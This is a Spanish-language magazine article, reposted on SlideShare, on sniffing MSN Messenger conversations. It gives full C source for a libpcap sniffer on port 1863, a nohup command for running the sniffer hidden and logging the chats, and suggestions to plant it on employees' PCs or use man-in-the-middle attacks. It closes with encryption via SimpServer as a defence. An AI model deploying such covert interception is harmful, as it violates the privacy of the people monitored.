SlideShare uma empresa Scribd logo
1 de 7
Baixar para ler offline
hacking para linuxeros
     Interceptando conversaciones Messenger




      Interceptando
      conversaciones Messenger
      David Puente Castro
      Analizar hasta qué punto un protocolo puede considerarse como vulnerable, es
      algo que conlleva un gran esfuerzo, pero muy por encima podemos agruparlos
      en dos grupos: Los que ofrecen cifrado, y los que no. Aquellos que no lo hacen,
      deben de atenerse a las consecuencias.




                                          ¿        A quien le puede interesar capturar conversacio-        y reestructurar el código hasta tal punto que la idea original
                  linux@software.com.pl




                                                   nes? No encontrar respuesta a esta pregunta resulta     para el que fue creado se torne ilegible (a pesar de que siga
                                                   francamente complicado. Que sea o no éticamente         funcionando igual o mejor que antes).
                                                   correcto es un tema tratado ya en demasía y que
                                          depende únicamente de los fines de la persona que lo realiza.    ¿Que pretende este artículo?
                                               Capturar conversaciones realizadas a través del software    En una primera fase veremos cómo capturar conversaciones
                                          Messenger, aMSN, o todo que trabaje bajo el mismo proto-         de Messenger con menos de 200 líneas de código fuente en
                                          colo, puede ser algo interesante. Y aquí no nos referimos a la   lenguaje C (no contabilizando comentarios). El método que
                                          acción en si, sino al ambiciado: ¿Cómo hacerlo?.                 utilizaremos puede ser reutilizado para capturar conversa-
                                               Los programas son criaturas extrañas, la mayoría de         ciones de IRC, AIM, Yahoo!, ICQ e incluso para capturar
                                          las veces complejas y algunas veces son obras demasia-           direcciones URL en peticiones HTTP.
                                          do personales. Cuando uno deja de ser un simple novato                Finalmente estudiaremos cómo este problema de seguri-
                                          y comienza a interesarse en cómo funciona lo que le rodea,       dad puede ser evadido con la aplicación de ciertas medidas de
                                          e incluso decide meter su cabeza en el código fuente, no todo    cifrado de protocolo gracias al uso SIMP.
                                          es color de rosa.
                                               Y todo ello no es porque el Programador sea una en-         Ideas
                                          tidad retorcida cuya única intención sea hacer su código         Plantar un sniffer en su propio ordenador para capturar
                                          indescifrable (aunque podría serlo, y más bonito todavía         conversaciones puede parecer inútil, no obstante, cuando lo
                                          sería descifrarlo). La razón es que cuando uno consigue una      sitúa en los PC's de sus empleados y espera a saber a qué se
                                          base lo suficientemente sólida como para mantenerse por si       dedican realmente en horario de trabajo, el asunto se vuelve
                                          misma, el programador no puede evitar la incesante necesi-       más interesante. Debo aclarar que espiar a su pareja es más
                                          dad de añadir nuevas funciones, introducir nuevas variables,     inmoral todavía.



50                                                                                   Linux+ 3/2009
hacking para linuxeros
                                                                                                        Interceptando conversaciones Messenger


      La mayor ventaja se obtiene cuando entra
en juego un ataque Man In The Middle, enton-
ces todo cambia, pero la situación se vuelve
ilícita, téngalo en cuenta.



Aplicación de monitorización y análisis de
tráfico de una red que detecta en los paquetes
individuales pratones específicos seleccionados
por el usuario. Pueden ser utilizados ilegalmen-
te para interceptar tráfico y por norma general
suelen ser silenciosos.

Man In The Middle                                    Figura 1. Esquema del ataque Man in the Middle
Un ataque Hombre en el medio, es aquel en que             Anteriormente conocido como Ethereal, es      Existen algunos otros comandos, pero están
una persona con un dispositivo de comunicación       la herramienta más destacada en Linux para el      orientados a control y establecimiento de pa-
consigue situarse en una posición intermedia         estudio de lo que sucede en las capas más bajas    rámetros de conexión. Ha llegado el momento
entre un router y el usuario legítimo de una red,    de nuestras conexiones de red. Su principal        de que veamos el comando más importante en
de modo que todo el tráfico que circula por la red   capacidad es la de capturar todos los paquetes     nuestra investigación.
pasa a través del atacante sin el conocimiento di-   que entran y salen de nuestra red, y generar una
recto del resto de participantes (ver Figura 1).     estructura muy intuitiva con toda la informa-      Comando MSG
    Con este artículo no se pretende incurrir        ción legible que una persona con ciertos co-       Veámoslo en directo. Inicie Wireshark con
en ninguna infracción de la ley, tan solo es un      nocimientos puede interpretar. Lo mejor que se     permisos de administrador root. Una vez se
estudio detallado de la situación a la que nos en-   puede decir de él, es que es de código abierto.    encuentre delante de la pantalla principal siga
frentamos a diario. El objetivo es conocer hasta          Podríamos decir y decimos que el protoco-     el menú Capture -> Options. Una vez aquí
qué punto estamos a merced de atacantes con          lo Messenger, al igual que por ejemplo IRC y       escogeremos como interfaz de red aquella con
malas intenciones y cómo defendernos.                FTP tal vez, funciona por medio de comandos.       la que obtenemos nuestra conexión normal a in-
                                                     Estos son dirigidos a un servidor central que      ternet (en mi caso ath0) y en el campo Capture
Requisitos                                           se encarga de hacer las gestiones necesarias       Filter escribiremos lo siguiente:
Los requisitos indispensables son los siguientes:    según los parámetros indicados. Este servidor
                                                     es un intermediario entre emisor y receptor.       tcp and src port 1863 or dst port 1863
•   LibPcap (version 0.8) (http://                   En realidad todo el proceso es un poco más
    sourceforge.net/projects/libpcap/),              complicado, pero esta idea sirve perfectamente     Si hacemos click en el botón Start estaremos
•   LibNet (version 1.1 o superior) (http://         a nuestros fines.                                  iniciando una captura de red filtrando única-
    libnet.sourceforge.net).                              Nota: Ahora deténgase a pensar un mo-         mente el trafico TCP que entra y sale del puerto
                                                     mento. Si nuestra información viaja sin cifrar     1863, que precisamente es el que Messenger
LibPcap es una pequeña maravilla que nos             y circula por una máquina que no es de nuestra     utiliza para las comunicaciones.
proporciona todas las funciones necesarias para      confianza, ¿hasta qué punto está seguro de que          Inicie su software aMSN habitual en Linux,
capturar paquetes y controlar la información en      sus mensajes no son inspeccionados en busca        y comience una conversación. Después de un
ellos contenida. LibNet, es todo lo contrario, su    de información peligrosa?                          breve intercambio de frases puede cerrar la
objetivo es facilitar un API de programación              Bien, continuemos. Lo que hemos dicho         sesión y detener Wireshark. Veamos qué hemos
orientado a la inyección de paquetes.                del servidor central y de la interactuación a      obtenido en nuestro ejemplo (Figura 3).
     No se entrará en detalles acerca de la im-      través de comandos es tan cierto, que puede es-         Esto es un inicio de sesión clásico. En el
plementación y argumentos de las funciones de        tablecer una comunicación con toda naturalidad     marco superior, hacia la derecha, podemos
la librería libpcap, sin embargo, se mostrará el     mediante una clásica sesión de telnet. Puede
cometido de cada una de ellas, pues para eso         seguir este estudio aquí (http://65.23.158.196/
estamos aquí, para comentar el código. Libnet,       nitz/nitz/protocolo_msn.pdf).
por su parte, podría ser evitado pero utilizare-          Describamos ahora los comandos básicos,
mos sus estructuras de cabecera para protocolos      para posteriormente centrarnos en el que más
debido a que son verdaderamente intuitivas y         interesa en nuestra investigación:
facilitan nuestra tarea.
                                                     •   VER: Establece la versión del protocolo
Análisis del protocolo MSN                               Messenger.
El método utilizado para crear el código que         •   USR: Comando de identificación de usuario.
veremos en la siguiente sección se basa en algo      •   SYN: Obtener la lista de contactos.
tan sencillo como interpretar las capturas de        •   CHG: Comando de cambio de estado.
uno de los mejores sniffer de redes que dispo-       •   CAL: Invitar a un contacto a una conversa-
nemos desde nuestro Sistema Operativo Linux:             ción.
Wireshark.                                           •   BYE: Comando de cierre de sesión.          Figura 2. Logo de Wireshark



                                                                   www.lpmagazine.org                                                                      51
hacking para linuxeros
     Interceptando conversaciones Messenger


     Listado 1a. Código fuente

     /* Archivos de cabecera y definiciones */                     if (pcap_setfilter(sniffmsn, &filtro) == -1) {
                                                                            fprintf(stderr, "Error aplicando el filtron");
      #include <stdio.h>                                                    exit(-1);
      #include <pcap.h>                                                 }
      #include <libnet.h>                                          // Iniciamos la captura de paquetes indefinidamente, el
                                                                   3er parámetro es la
      #define MSN_PORT 1863                                        // función que se encarga de interpretar los paquetes,
     //    Puerto por defecto para MSN Messenger.                  siempre tiene tres
      #define TCPHDR_LEN 0x20                                      // parámetros y no tiene valor de retorno.
     //    Algunas veces podría necesitar cambiar esto                  rc = pcap_loop(sniffmsn, -1, &read_msn, NULL);
     //    por "0x14" para que funcione. Ello es debido                 return 0;
     //    a que diversas opciones del protocolo TCP                }
     //    pueden cambiar el tamaño de la cabecera de              // Función que interpreta los paquetes. Extraemos las
     //    20 a 32 bytes .                                         cabeceras TCP e IP y
     #define FILTRO_MSN "tcp and src port 1863 or dst port         // controlamos el payload (carga o datos) que se pasará
     1863"                                                         a la siguiente
     // Declaraciones de funciones                                 // función diferenciando entre enviados y recibidos
      static char * get_ident(char *);                             para leer los que sean
      void print_msg(char *, int, char *, char *);                 // realmente interesantes.
      void handle_msg(char *, char, int);                           void
      void read_msn(u_char *, const struct pcap_pkthdr *,           read_msn(u_char *useless, const struct pcap_pkthdr
     const u_char *);                                              *pkthdr, const u_char *pkt)
      int main(int argc, char *argv[])                              {
      {                                                                 u_char *data;
          int rc;                                                       int len;
          char *device;                                                 struct libnet_ipv4_hdr *iph; // Cabecera IP
          char errbuf[PCAP_ERRBUF_SIZE];                                struct libnet_tcp_hdr *tcph; // Cabecera TCP
          struct bpf_program filtro;                                    iph = (struct libnet_ipv4_hdr *)(pkt + LIBNET_ETH_H);
          bpf_u_int32 netp, maskp;                                      tcph = (struct libnet_tcp_hdr *)(pkt + LIBNET_ETH_H
          pcap_t* sniffmsn;                                        + LIBNET_IPV4_H);
          if (argc < 2)                                            // Los datos se alcanzan tras pasar las cabeceras:
              exit(0);                                             ethernet, ip y tcp.
          device = argv[1]; // Único parámetro: interfaz de             data = (u_char *)(pkt + LIBNET_ETH_H + LIBNET_IPV4_H
     red. Ex.: eth1, ath0, etc.                                    + TCPHDR_LEN);
     // Abrimos el dispositivo para captura en modo                     len = ntohs(iph->ip_len);
     promiscuo                                                     // Si el puerto origen es 1863, estamos recibiendo un
          sniffmsn = pcap_open_live(device, 1600, 1, 20,           mensaje.
     errbuf);                                                           if (ntohs(tcph->th_sport) == MSN_PORT) {
          if (sniffmsn == NULL) {                                           handle_msg(data, 'R', len);
              fprintf(stderr, "pcap_open_live(): %sn",errbuf);    // Maneja los datos que anteriormente
              exit(-1);                                            // destripamos: comando, opciones y mensaje.
          }                                                             }
          if (pcap_lookupnet(device, &netp, &maskp, errbuf) ==     // Si el puerto destino es 1863, estamos enviando un
     -1) {                                                         mensaje
              fprintf(stderr, "Error en pcap_lookupnet(): %s           else if (ntohs(tcph->th_dport) == MSN_PORT) {
     n", errbuf);                                                           handle_msg(data, 'S', len);
              exit(-1);                                                 }
          }                                                         // Función que busca mensajes dentro de la carga útil
     // Creamos el filtro con las opciones anteriormente           del paquete.
     definidas                                                      void
          if (pcap_compile(sniffmsn, &filtro, FILTRO_MSN, 0,        handle_msg(char *data, char dir, int dlen)
     netp) == -1) {                                                 {
              fprintf(stderr, "Error compilando el filtron");          char *pc, *pstart;
              exit(-1);                                                 char *email;
          }                                                             char *nick;
     // Aplicamos el filtro a la interfaz                               char *buf;




52                                                         Linux+ 3/2009
hacking para linuxeros
                                                                                     Interceptando conversaciones Messenger


Listado 1b. Código fuente

 // Creamos un buffer con la longitud del payload                  }
     buf = (char *) calloc(dlen, sizeof(char));               // Trabajar limpiamente
 // Copiamos allí su contenido para manejarlo                      free(buf);
     if (buf != NULL) {                                            free(email);
         strncpy(buf, data, dlen);                                 free(nick);
     } else {                                                  }
         fprintf(stderr, "nNo hay suficiente memorian");      void
         exit(-1);                                             print_msg(char *pc, int dir, char *mail, char *nick)
     }                                                         {
 // Comprobamos que contenga el comando "MSG"                   char *str, *str_end;
     if (strncmp(buf, "MSG", 3) == 0) {                         int len;
 // Que su contenido sea texto plano y no datos de            // Parametros válidos para el comando "MSG"
 control                                                        if (*pc == 'U' || *pc == 'N' || *pc == 'A') {
         if (strstr(buf, "Content-Type: text/plain") !=             str = strchr(pc, ' ');
 NULL) {                                                            str++;
 // Mensajes enviados                                           }
             if (dir == 'S') {                                  else {
 // Nos situamos en el primer parámetro del comando MSG             str = pc;
                 pc = strchr(buf + 4, ' ');                     }
                 pc++;                                        // Justo antes del primer retorno de carro se
 // Función que alcanza el mensaje y lo imprime. El           encuentra la longitud del
 último parámetro                                             // mensaje, lo almacenamos en la variable 'len'.
 // es nulo porque no imprimimos el e-mail del emisor,          str_end = strchr(str, 'r');
 nosotros.                                                      *str_end = '0'; // Ya saben, para manejar cadenas
 // Deberíamos hacerlo si utilizamos ataques MITM.            deben terminar en 0.
                 print_msg(pc, dir, NULL, NULL);                len = atoi(str);
             }                                                  str = str_end + 2;
 // Mensajes recibidos                                          *(str + len) = '0';
             else {                                           // Gracias al retorno de carro y nueva linea adicional
 // Lo mismo que antes pero esta vez colocamos un             que el protocolo
 caracter nulo al                                             // MSN nos facilita, el mensaje real siempre se
 // final de la dirección e-mail del receptor para poder      encontrara después de dos
 manejar                                                      // retornos de carro y nueva linea consecutivos.
 // este fragmento como una cadena.                             str = strstr(str, "rnrn");
                 pstart = buf + 4;                              str += 4;
                 pc = strchr(pstart, ' ');                      if (dir == 'S')
                 if (pc != NULL)                                else
                     *pc = 0;                                          printf("nSMS desde (%s) [%s]: %sn", mail, nick,
                 email = get_ident(pstart);                   str); // Recibidos
 // Esta función, que será descrita al                         }
 // final del código, no es más que un                        // Administrador de memoria dinámica para almacenar
 // pequeño administrador de memoria                          cadenas.
 // dinámica, que reserva el espacio                           static char *
 // suficiente para almacenar e-mail y                         get_ident(char *ptr)
 // sus consecuentes overflows.                                {
 // Mismo procedimiento para almacenar el nick.                    char *buff;
                 pc++;                                             size_t bsize = 32; // Tamaño de buffer inicial
                 pstart = pc;                                      int lenp = strlen(ptr);
                 pc = strchr(pstart, ' ');                    // Mientras la longitud de la cadena sea mayor que el
                 if (pc != NULL)                              tamaño de buffer,
                     *pc = 0;                                 // lo vamos multiplicando por 2 hasta que la capacidad
                 nick = get_ident(pstart);                    sea suficiente.
                 pc++;                                             while (lenp > bsize) {
                 print_msg(pc, dir, email, nick);                      bsize *= 2;
 // Imprimir mensaje                                               }
             }                                                     buff = (char *) calloc(bsize, sizeof(char));
         }                                                    // Creamos el buffer con 0's




                                                    www.lpmagazine.org                                                        53
hacking para linuxeros
         Interceptando conversaciones Messenger


         Listado 1c. Código fuente
              if (buff != NULL) {
                  strncpy(buff, ptr, bsize
         - 1);
         // Copiamos la cadena al buffer
                  return buff;
              } else {
                  fprintf(stderr, "nNo hay
         suficiente memorian");
                  exit(-1);
              }
          }




     ver remarcado un comando USR con ciertos
     parámetros de identificación para mi usuario.
     Encima verá algunos referentes a la versión.
     Todo esto es más o menos común a cada imple-
     mentación, pero veamos ahora qué comandos
     MSG son relevantes y cuáles no (Figura 4).
         Sólo las líneas 23 y 33 son relevantes.
     Podemos ver varios comandos MSG, pero no
     todos son de interés y no todos contienen men-
     sajes. Echemos un vistazo al marco inferior de
     nuestro paquete número 23 que hemos selec-
     cionado intencionadamente. Al final de todo se
     observa el mensaje que hemos enviado (aquí,
     hola, mi nombre es David), pero se preguntará
     que es toda esa información previa. Una breve
     descripción:
                                                      Figura 5. Redireccionando los mensajes hacia un archivo de salida

     •     MSG 58 A 146 rn:                               –  Longitud en bytes de todo lo que vie- •           Content-Type: text/plain; charset=UTF-
           – Nombre del comando,                              ne a continuación de este parámetro               8rn:
           – Parámetro no importante,                         hasta el final del mensaje enviado.               – El parámetro text/plain indica que
           – Debemos saber que solo “A”, “N” •             MIME-Version: 1.0rn:                                     el paquete lleva texto legible.Este es
             y “U” sirven a nuestros intereses,            – Por defecto.                                            uno de los puntos más relevantes,
                                                                                                                     solo los paquetes que contengan este
                                                                                                                     campo llevarán mensajes de conver-
                                                                                                                     sación consigo. Los demás podemos
                                                                                                                     desecharlos.
                                                                                                                – Formato de codificación de caracteres.
                                                                                                           •    X-MMS-IM-Format: FN=Helvetica; EF=;
                                                                                                                CO=000000; CS=0; PF=22rn:
                                                                                                                – Fuente de la letra,
     Figura 3. Ilustración al comando MSG                                                                       – Cursiva, Negrita o Subrayado,
                                                                                                                – Color del texto,
                                                                                                                – Codificación de caracteres,
                                                                                                                – ...
                                                                                                           •    rn:
                                                                                                                – Adicional, será de mucha ayuda en la
                                                                                                                     codificación del programa,
                                                                                                           •    hola, mi nombre es David:
                                                                                                                – ¿Requiere alguna explicación?

                                                                                                           User-Agent que identifique el software desde el
                                                                                                           que se está realizando la conexión, como ocurre
                                                                                                           con los navegadores.
     Figura 4. Comprobando la relevación de comandos MSG



54                                                                    Linux+ 3/2009
hacking para linuxeros
                                                                                                 Interceptando conversaciones Messenger


    Hasta aquí todo claro, lo que acabamos de en cierta medida su comprensión a la hora de       se activa en el ordenador del atacante y no en
ver es el mensaje que nosotros enviamos hacia interpretarlo. Veámoslo:                           las víctimas).
el destinatario. Entonces las ideas que sacamos                                                       No es que sea muy ortodoxo, pero para no
en claro de todo el esquema son las siguientes: • Capturar paquetes con libpcap.                 complicar más el código que acabamos de ver
                                                • Filtrar los que vayan o provengan del          hace un momento, tomaremos de la mano las
• Solo los comandos MSG con parámetros             puerto 1863 (msn).                            facilidades que nos aporta Linux en la línea de
    “A”, “N” o “U” son atractivos,              • Copiar la carga de datos del paquete a un      comandos. Los objetivos son, ocultar el sniffer
• Solo paquetes con la cadena Content-Ty-          buffer.                                       visualmente y redireccionar los mensajes hacia
    pe: text/plain; contienen mensajes,         • Diferenciar entre enviados y recibidos.        un archivo de salida que hará las veces de log
• El mensaje siempre se encuentra después • Guardar el e-mail/nick del receptor en caso          o archivo de grabación. Esto puede conseguirse
    de una secuencia rnrn.                     necesario.                                    fácilmente con la siguiente instrucción:
                                                • Seleccionar aquellos que contengan el co-
Si ahora miramos el contenido del paquete nú-      mando MSG.                                    # nohup ./smsn [dev] > log_msn.log &
mero 33, encontramos la única diferencia:       • Seleccionar aquellos que contengan Con-
                                                   tent-Type: text/plain.                        o
• MSG jenni_somo@hotmail.com (#)whi- • Desplazarnos hasta la cadena del mensaje
    tengel!! 144rn:                               e imprimirla (tras “rnrn”).                 $ sudo nohup ./smsn [dev] > log_
    – Nombre del comando,                                                                        msn.log &
    – Dirección de correo del usuario,          Aclaraciones
    – Nick o frase del usuario,                 Puede compilar el código fuente (Listado 1) de   Con nohup usted desengancha el siguiente co-
    – Cantidad de bytes hasta el final del esta forma:                                           mando del shell y así puede cerrarlo sin preocu-
         mensaje.                                                                                parse. El carácter final “&” envía el proceso al
                                                $ gcc smsn.c -lpcap -lnet -o smsn                segundo plano. Solo nos queda verlo en acción
Casi sin darnos cuenta acabamos de vislumbrar                                                    (Figura 5).
como nuestra privacidad diaria se encuentra     Habíamos mencionado al principio del artí-
totalmente comprometida y en manos de cual-     culo que un sniffer debe de ser un programa      Usted no es como
quiera que tenga la capacidad de aprovecharse   silencioso. Y esto debe cumplirse tanto en el    los demás (SIMP)
de la situación.                                hecho de no interferir en el tráfico que cir-    Hemos visto que es posible capturar conver-
                                                cula por la red, como en el hecho de que no      saciones realizadas por medio del protocolo
Paso a paso                                     sea visible localmente (si estuviésemos tra-     MSN. Hemos visto que es posible crear una
Para la realización de nuestro programa segui- bajando bajo un ataque Man in The Middle          pequeña utilería como prueba de concepto.
remos una estructura paso a paso que facilitará esto no sería necesario puesto que el sniffer    Pero todavía no hemos visto que es posible
                                                                                                 defenderse.
                                                                                                      SIMP es capaz de proteger el contenido
                                                                                                 de nuestras conversaciones mendiante algo-
                                                                                                 ritmos de encriptación. El programa trabaja
                                                                                                 clasificando las conversaciones según 3 nive-
                                                                                                 les de seguridad: No encriptado, encriptado,
                                                                                                 y encriptado/autentificado.
                                                                                                      SIMP fue principalmente diseñado en for-
                                                                                                 ma de una aplicación llamada SimpLite para
                                                                                                 entornos Windows, que dispone de cuatro
                                                                                                 versiones distintas según nuestro deseo sea
                                                                                                 cifrar una de estos servicios de mensajería
                                                                                                 instantánea:

                                                                                                 •   MSN,
                                                                                                 •   Yahoo!,
                                                                                                 •   ICQ/AIM,
                                                                                                 •   Jabber/Google.

                                                                                                 Afortunadamente para nosotros, la empresa
                                                                                                 SecWay diseñó una versión para Unix, Simp-
                                                                                                 Server, que puede correr en los siguientes
                                                                                                 sistemas:

                                                                                                 •   Linux x86 (libstdc++ 5 required),
                                                                                                 •   MacOS X,
Figura 6. Opciones avanzadas                                                                     •   FreeBSD 5.



                                                             www.lpmagazine.org                                                                     55
hacking para linuxeros
         Interceptando conversaciones Messenger




         Sobre el autor
         David Puente Castro, alias blackngel, es
         un gran aficionado a la programación y la
         seguridad informática . Original de Ouren-
         se (Galicia) y viviendo actualmente en la
         provincia de Salamanca dedica la mayor
         parte de su tiempo libre a disfrutar de la
         experiencia Linux.
              Asiduo escritor de artículos básicos
         sobre temas de seguridad informática en
         el E-Zine electrónico S.E.T. (Saqueadores
         Edición Técnica), ampliamente conocido en
         el Underground Hispano. Actualmente man-
         tiene su segunda página oficial en: http://
         set.diazr.com/, cuyo principal objetivo, radi-    Figura 7. Página web de LibPcap
         ca en ocupar el lugar que en su momento
         cubrió la web de Hackemate como reposito-         •   Descomprimir en /usr/local:                    do es el pequeño administrador de memoria
         rio de material sobre temas de hacking.               $ cp simpserver-2.1.5c-linux-                  get_ident(...).     Con él podemos aprender
              Su primer encuentro con Linux data ya            x86.tgz /usr/local                             prácticas de programación bastante más ade-
         de hace unos 8 años y fue poco más ade-               $ tar -xvzf simpserver-2.1.5c-                 cuadas en la actualidad. Debemos evitar caer en
         lante que descubrió el fantástico mundo               linux-x86.tgz                                  las tentaciones del
         de la programación y la subcultura hacker.        •   Ejecutar el servicio (Listado 2).                   Programación en Linux: Casos Prácticos
         Participa activamente en wargames como:                                                              (http://www.anayamultimedia.es), podría ser
         yoire.com, warzone (elhacker.net) y otros.        SimpServer trabaja como un proxy, utilizan-        una buena lectura si pretendes que tu visión
              Aunque trabaja con ordenadores, la           do SOCKS 4 para tal fin. Por ello debemos          ante la programación cambie de forma nota-
         mayor parte de sus tareas diarias no tie-         configurar nuestro cliente de mensajería para      ble.
         nen una relación directa con esta temática.       utilizarlo. Por desgracia aMSN solo soporta             Espero que esto haya sido lo suficiente-
         Auxiliar administrativo, obligado a utilizar el   SOCKS 5, pero los usuarios de Linux siempre        mente interesante como para llegar hasta el
         sistema operativo Windows, tiene la cos-          tenemos una solución para todo y en este caso      final. La idea que subyace a todo este asunto
         tumbre de llevarse su última Distribución         el cliente Pidgin nos viene de perlas. Dando por   radica en que debemos ser precavidos con
         Live a la oficina para seguir disfrutando         supuesto que sabe como instalarlo en su sistema    todo aquello en lo que confiamos.
         de su SO favorito, Linux, y desarrollar sus       ($ sudo apt-get isntall pidgin), veamos                 En todas las actividades es saludable,
         pequeños proyectos.                               como configurarlo (Figura 6):                      de vez en cuando, poner un signo de interro-
              Dedica el artículo a su pareja y familia                                                        gación sobre aquellas cosas que por mucho
         por la paciencia que demuestran cuando            •   Cuentas->Gestionar Cuentas->Modificar          tiempo se han dado como seguras. [Bertrand
         intenta explicarles á haciendo.                       ->Avanzadas,                                   Russell].
              Por lo demás, puede encontrarlo online,      •   Tipo de proxy: SOCKS 4,                             Hasta la próxima, y feliz hacking.
         prácticamente las 24 horas del día, en            •   Servidor: localhost,
         las siguientes direcciones: blackngel1@           •   Puerto: 11863.
         gmail.com y black@set-ezine.org
                                                       Hasta aquí tiene configurado SimpServer to-
                                                                                                               En la red
     Es muy importante notar que la comunicación       talmente en su sistema y disponible para ser
     es cifrada punto a punto, y la persona con la     utilizado con Pidgin. Cualquier futura comu-            •   LibPcap:
     que deseemos establecer una comunicación          nicación que implique a dos usuarios con este               http://sourceforge.net/
     también debe tener instalada esta misma he-       software funcionando (SimpServer), producirá                projects/libpcap/
     rramienta, de otro modo los mensajes seguirían    un mensaje informando acerca de un intercam-            •   LibNet:
     viajando en texto claro.                          bio de claves. Claves que han sido generadas                http://libnet.sourceforge.net
         SimpServer es un servicio que aprendere-      tanto de forma automática como de forma ma-             •   Protocolo MSN:
     mos a instalar y configurar a continuación (lo    nual en anteriores versiones.                               http://65.23.158.196/nitz/nitz/
     haremos bajo un sistema Ubuntu Linux):                 Tiene deberes, compruebe ahora con Wire-               protocolo_msn.pdf
                                                       shark en que formato fluyen los datos cuando            •   Programación en Linux: Casos Prácti-
     •      Descargar el programa desde esta direc- atraviesan la red. Ya puede sentirse un poco                   cos – ISBN: 978-84-415-1839-1:
            ción: http://download.secway.com/public/ más seguro.                                                   http://www.anayamultimedia.es
            products/simpserver/simpserver-2.1.5c-                                                             •   SimpServer para Unix:
            linux-x86.tgz                              Conclusión                                                  http://www.secway.fr/us/products/
     •      Instalar librería dependiente: $ sudo apt- Aunque no lo parezca, una de las partes más                 simpserver/
            get install libstdc++5                     interesantes del código que hemos desarrolla-



56                                                                        Linux+ 3/2009

Mais conteúdo relacionado

Destaque (14)

Dia dos Pais - Website
Dia dos Pais - WebsiteDia dos Pais - Website
Dia dos Pais - Website
 
Foi mal pelo Carro
Foi mal pelo CarroFoi mal pelo Carro
Foi mal pelo Carro
 
Baterias Moura - Planeta do bem
Baterias Moura - Planeta do bemBaterias Moura - Planeta do bem
Baterias Moura - Planeta do bem
 
P&G - Love banner Oral-B
P&G - Love banner Oral-BP&G - Love banner Oral-B
P&G - Love banner Oral-B
 
Doe Sua Energia 2
Doe Sua Energia 2Doe Sua Energia 2
Doe Sua Energia 2
 
Acao agua arcoiris
Acao agua arcoirisAcao agua arcoiris
Acao agua arcoiris
 
Dia do biscoito - Vitarella
Dia do biscoito - VitarellaDia do biscoito - Vitarella
Dia do biscoito - Vitarella
 
Shopping Recife - Amor Premiado
Shopping Recife - Amor PremiadoShopping Recife - Amor Premiado
Shopping Recife - Amor Premiado
 
ANÚNCIO AMPLA - BOA VIAGEM
ANÚNCIO AMPLA - BOA VIAGEMANÚNCIO AMPLA - BOA VIAGEM
ANÚNCIO AMPLA - BOA VIAGEM
 
BATERIAS MOURA - CONDUTORES DO FUTURO
BATERIAS MOURA - CONDUTORES DO FUTUROBATERIAS MOURA - CONDUTORES DO FUTURO
BATERIAS MOURA - CONDUTORES DO FUTURO
 
PPP - Medo
PPP - MedoPPP - Medo
PPP - Medo
 
VITARELLA - AÇÃO DE RÁDIOS
VITARELLA - AÇÃO DE RÁDIOSVITARELLA - AÇÃO DE RÁDIOS
VITARELLA - AÇÃO DE RÁDIOS
 
BATERIAS MOURA - LATA VELHA
BATERIAS MOURA - LATA VELHABATERIAS MOURA - LATA VELHA
BATERIAS MOURA - LATA VELHA
 
JC - Tem que ter peito
JC - Tem que ter peitoJC - Tem que ter peito
JC - Tem que ter peito
 

Semelhante a Interceptando conversaciones messenger

9700132 el-sendero-del-hacker
9700132 el-sendero-del-hacker9700132 el-sendero-del-hacker
9700132 el-sendero-del-hackerivanboss9930
 
El sendero del hacker
El sendero del hackerEl sendero del hacker
El sendero del hackernoc_313
 
Sendero del Hacker
Sendero del HackerSendero del Hacker
Sendero del Hackercyberleon95
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)Gabriel Romero Pastrana
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)Abraham Alvear Jimenez
 
Presentacion con diapositivas
Presentacion con diapositivasPresentacion con diapositivas
Presentacion con diapositivasAlma Gonzalez
 
Terminologiasistemadeinformacion[1]
Terminologiasistemadeinformacion[1]Terminologiasistemadeinformacion[1]
Terminologiasistemadeinformacion[1]Juan Pablo Mata
 
Schioppetto2do c tecnologia
Schioppetto2do c tecnologiaSchioppetto2do c tecnologia
Schioppetto2do c tecnologiagrupoveinte 2doC
 
Cain & abel (sniffer)
Cain & abel (sniffer)Cain & abel (sniffer)
Cain & abel (sniffer)Tensor
 
Curso de programación de virus (mundo del software)
Curso de programación de virus (mundo del software)Curso de programación de virus (mundo del software)
Curso de programación de virus (mundo del software)Richard Jimenez
 
Que es un snifer a
Que es un snifer  aQue es un snifer  a
Que es un snifer aTensor
 
Presentación introducción taller cluster 2010/07
Presentación introducción taller cluster 2010/07Presentación introducción taller cluster 2010/07
Presentación introducción taller cluster 2010/07Jorge Iván Meza Martínez
 
Administración de switches
Administración de switchesAdministración de switches
Administración de switchesRaul Lozada
 
Smtp 2950
Smtp 2950Smtp 2950
Smtp 29501 2d
 
Guia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntuGuia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntuPatoMC
 
Copseptos del computador sisneros
Copseptos del computador sisnerosCopseptos del computador sisneros
Copseptos del computador sisnerosDianiz_Fuentez
 

Semelhante a Interceptando conversaciones messenger (20)

9700132 el-sendero-del-hacker
9700132 el-sendero-del-hacker9700132 el-sendero-del-hacker
9700132 el-sendero-del-hacker
 
El sendero del hacker
El sendero del hackerEl sendero del hacker
El sendero del hacker
 
El sendero-del-hacker
El sendero-del-hackerEl sendero-del-hacker
El sendero-del-hacker
 
Sendero del Hacker
Sendero del HackerSendero del Hacker
Sendero del Hacker
 
El sendero-del-hacker
El sendero-del-hackerEl sendero-del-hacker
El sendero-del-hacker
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
 
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)Criterio y funcionamiento de un sniffer (cain & abel)  (www.dragon jar.us)
Criterio y funcionamiento de un sniffer (cain & abel) (www.dragon jar.us)
 
Internet 101
Internet 101Internet 101
Internet 101
 
Presentacion con diapositivas
Presentacion con diapositivasPresentacion con diapositivas
Presentacion con diapositivas
 
Terminologiasistemadeinformacion[1]
Terminologiasistemadeinformacion[1]Terminologiasistemadeinformacion[1]
Terminologiasistemadeinformacion[1]
 
Schioppetto2do c tecnologia
